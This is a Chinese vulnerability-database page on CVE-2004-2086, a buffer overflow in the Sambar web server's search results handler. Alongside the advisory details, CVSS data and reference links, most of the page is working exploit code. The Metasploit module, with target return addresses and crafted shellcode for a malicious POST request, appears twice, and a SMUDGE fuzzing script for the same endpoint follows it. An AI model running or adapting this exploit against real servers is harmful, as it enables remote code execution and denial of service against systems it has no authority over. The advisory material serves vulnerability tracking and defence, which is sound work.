CVE-2004-2086
CVSS5.0
发布时间 :2004-02-06 00:00:00
修订时间 :2008-09-05 16:43:09
NMCOEP    

[原文]Stack-based buffer overflow in results.stm for Sambar Server before the 6.0 production release allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP POST request with a long query parameter.


[CNNVD]Sambar Server Results.STM Post请求缓冲区溢出漏洞(CNNVD-200402-028)

        
        Sambar Server运行于Microsoft Windows 9x/ME/NT/2000操作系统上的多线程Web服务器程序。
        Sambar Server在处理部分POST数据时缺少充分的边界缓冲区检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击。
        问题是对Results.STM Post请求缺少充分检查,提交超多数据可触发缓冲区溢出,精心构建提交数据可能以服务进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:sambar:sambar_server:6.0:beta3Sambar Sambar Server 6.0 Beta 3
cpe:/a:sambar:sambar_server:6.0Sambar Sambar Server 6.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2086
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2086
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200402-028
(官方数据源) CNNVD

- 其它链接及资源

http://www.sambar.com/security.htm
(VENDOR_ADVISORY)  CONFIRM  http://www.sambar.com/security.htm
http://www.osvdb.org/5786
(VENDOR_ADVISORY)  OSVDB  5786
http://xforce.iss.net/xforce/xfdb/15071
(VENDOR_ADVISORY)  XF  sambar-http-post-bo(15071)
http://www.securityfocus.com/bid/9607
(VENDOR_ADVISORY)  BID  9607
http://www.securityfocus.com/archive/82/353087
(VENDOR_ADVISORY)  VULN-DEV  20040207 Sambar 6.0 stack overflow
http://securitytracker.com/id?1008979
(VENDOR_ADVISORY)  SECTRACK  1008979

- 漏洞信息

Sambar Server Results.STM Post请求缓冲区溢出漏洞
中危 边界条件错误
2004-02-06 00:00:00 2005-10-20 00:00:00
远程  
        
        Sambar Server运行于Microsoft Windows 9x/ME/NT/2000操作系统上的多线程Web服务器程序。
        Sambar Server在处理部分POST数据时缺少充分的边界缓冲区检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击。
        问题是对Results.STM Post请求缺少充分检查,提交超多数据可触发缓冲区溢出,精心构建提交数据可能以服务进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Sambar
        ------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.sambar.com

- 漏洞信息 (16756)

Sambar 6 Search Results Buffer Overflow (EDBID:16756)
windows remote
2010-02-13 Verified
80 metasploit
N/A [点击下载]
##
# $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Sambar 6 Search Results Buffer Overflow',
			'Description'	=> %q{
			This module exploits a buffer overflow found in the
			/search/results.stm application that comes with Sambar 6.
			This code is a direct port of Andrew Griffiths's SMUDGE
			exploit, the only changes made were to the nops and payload.
			This exploit causes the service to die, whether you provided
			the correct target or not.
			},
			'Author' 	=> 	[
					'hdm',
					'Andrew Griffiths <andrewg [at] felinemenace.org>',
					'patrick', # msf3 port
						],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 8480 $',
			'References'    =>
			[
				[ 'CVE', '2004-2086' ],
				[ 'OSVDB', '5786' ],
				[ 'BID', '9607' ],
			],
			'Privileged'		=> false,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'thread',
			},
			'Payload'		=>
				{
					'Space'			=> 2000, # unlimited
					'BadChars' 		=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
				# patrick tested OK 20100214 xpsp0
				['Windows 2000', 	{ 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ],
				['Windows XP',   	{ 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn

			],
			'DisclosureDate' => 'Jun 21 2003'))

			register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		banner = sock.get_once
		disconnect

		if (banner =~ /Server:\sSAMBAR/)
			return Exploit::CheckCode::Detected
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		buff = "POST /search/results.stm HTTP/1.1\r\n"
		buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
		buff <<  "User-Agent: #{payload.encoded}\r\n"
		buff << "Accept: #{payload.encoded}\r\n"
		buff << "Accept-Encoding: #{payload.encoded}\r\n"
		buff << "Accept-Language: #{payload.encoded}\r\n"
		buff << "Accept-Ranges: #{payload.encoded}\r\n"
		buff << "Referrer: #{payload.encoded}\r\n"
		buff << "Connection: Keep-Alive\r\n"
		buff <<"Pragma: no-cache\r\n"
		buff << "Content-Type: #{payload.encoded}\r\n"

		# we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff
		# int3's DO NOT WORK because it triggers an exception and causes the server to exit
		jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1"
		bigbuff = jmpcode  + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode
		content = "style=page&spage=0&indexname=docs&query=#{bigbuff}"
		buff << "Content-Length: #{content.length}\r\n\r\n" + content

		print_status("Sending #{buff.length} bytes to remote host.")
		sock.put(buff)
		res = sock.get_once
		if (!res)
			print_status("Didn't get response, hoping for shell anyway...")
		else
			print_status("Got Response!")
		end

		handler
		disconnect
	end
end
		

- 漏洞信息 (23664)

Sambar Server 6.0 Results.STM Post Request Buffer Overflow Vulnerability (EDBID:23664)
windows dos
2004-02-09 Verified
0 nd@felinemenace.org
N/A [点击下载]
source: http://www.securityfocus.com/bid/9607/info

A buffer overflow vulnerability has been reported in the Sambar web server. The issue is due to a boundary condition error in the POST data processing of the affected software.

Immediate consequences of an attack may result in a denial of service condition. It may also be possible for the attacker to manipulate process memory and execute arbitrary code in the context of the vulnerable process.

# http://felinemenace.org/~nd/SMUDGE
# Sambar script (c) nd@felinemenace.org
from SMUDGE import *
import sys
sm = SMUDGE(1)

sm.setname("SambarOverflow")

sm.plain("POST /search/results.stm HTTP/1.1")
sm.addcrlf()
sm.plain("Host: MSUDGEDPU")
sm.addcrlf()
sm.plain("Content-Length: ")
sm.blocksize("postdata")
sm.addcrlf()
sm.addcrlf()
sm.putblock("postdata")
sm.addcrlf()
sm.addcrlf()

sm.newblock("postdata")
sm.updateblock("postdata","spage=0&indexname=docs&query=")
sm.blockvariable("postdata","MEEP")
sm.updateblock("postdata","&style=page")

sm.run("127.0.0.1",80,"topdown","single")		

- 漏洞信息 (F86296)

Sambar 6 Search Results Buffer Overflow (PacketStormID:F86296)
2010-02-15 00:00:00
H D Moore,patrick,Andrew Griffiths  metasploit.com
exploit,overflow
CVE-2004-2086
[点击下载]

This Metasploit module exploits a buffer overflow found in the /search/results.stm application that comes with Sambar 6. This code is a direct port of Andrew Griffiths's SMUDGE exploit, the only changes made were to the nops and payload. This exploit causes the service to die, whether you provided the correct target or not.

##
# $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Sambar 6 Search Results Buffer Overflow',
			'Description'	=> %q{
			This module exploits a buffer overflow found in the
			/search/results.stm application that comes with Sambar 6.
			This code is a direct port of Andrew Griffiths's SMUDGE
			exploit, the only changes made were to the nops and payload.
			This exploit causes the service to die, whether you provided
			the correct target or not.
			},
			'Author' 	=> 	[
					'hdm',
					'Andrew Griffiths <andrewg [at] felinemenace.org>',
					'patrick', # msf3 port
						],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 8480 $',
			'References'    =>
			[
				[ 'CVE', '2004-2086' ],
				[ 'OSVDB', '5786' ],
				[ 'BID', '9607' ],
			],
			'Privileged'		=> false,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'thread',
			},
			'Payload'		=>
				{
					'Space'			=> 2000, # unlimited
					'BadChars' 		=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
				# patrick tested OK 20100214 xpsp0
				['Windows 2000', 	{ 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ],
				['Windows XP',   	{ 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn

			],
			'DisclosureDate' => 'Jun 21 2003'))

			register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		banner = sock.get_once
		disconnect

		if (banner =~ /Server:\sSAMBAR/)
			return Exploit::CheckCode::Detected
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		buff = "POST /search/results.stm HTTP/1.1\r\n"
		buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
		buff <<  "User-Agent: #{payload.encoded}\r\n"
		buff << "Accept: #{payload.encoded}\r\n"
		buff << "Accept-Encoding: #{payload.encoded}\r\n"
		buff << "Accept-Language: #{payload.encoded}\r\n"
		buff << "Accept-Ranges: #{payload.encoded}\r\n"
		buff << "Referrer: #{payload.encoded}\r\n"
		buff << "Connection: Keep-Alive\r\n"
		buff <<"Pragma: no-cache\r\n"
		buff << "Content-Type: #{payload.encoded}\r\n"

		# we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff
		# int3's DO NOT WORK because it triggers an exception and causes the server to exit
		jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1"
		bigbuff = jmpcode  + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode
		content = "style=page&spage=0&indexname=docs&query=#{bigbuff}"
		buff << "Content-Length: #{content.length}\r\n\r\n" + content

		print_status("Sending #{buff.length} bytes to remote host.")
		sock.put(buff)
		res = sock.get_once
		if (!res)
			print_status("Didn't get response, hoping for shell anyway...")
		else
			print_status("Got Response!")
		end

		handler
		disconnect
	end
end
    

- 漏洞信息

5786
Sambar Server results.stm Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

A remote overflow exists in Sambar Server. The results.stm module fails to validate POST requests resulting in a stack overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2004-02-07 2004-02-07
Unknow Unknow

- 解决方案

Upgrade to version 6.0 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站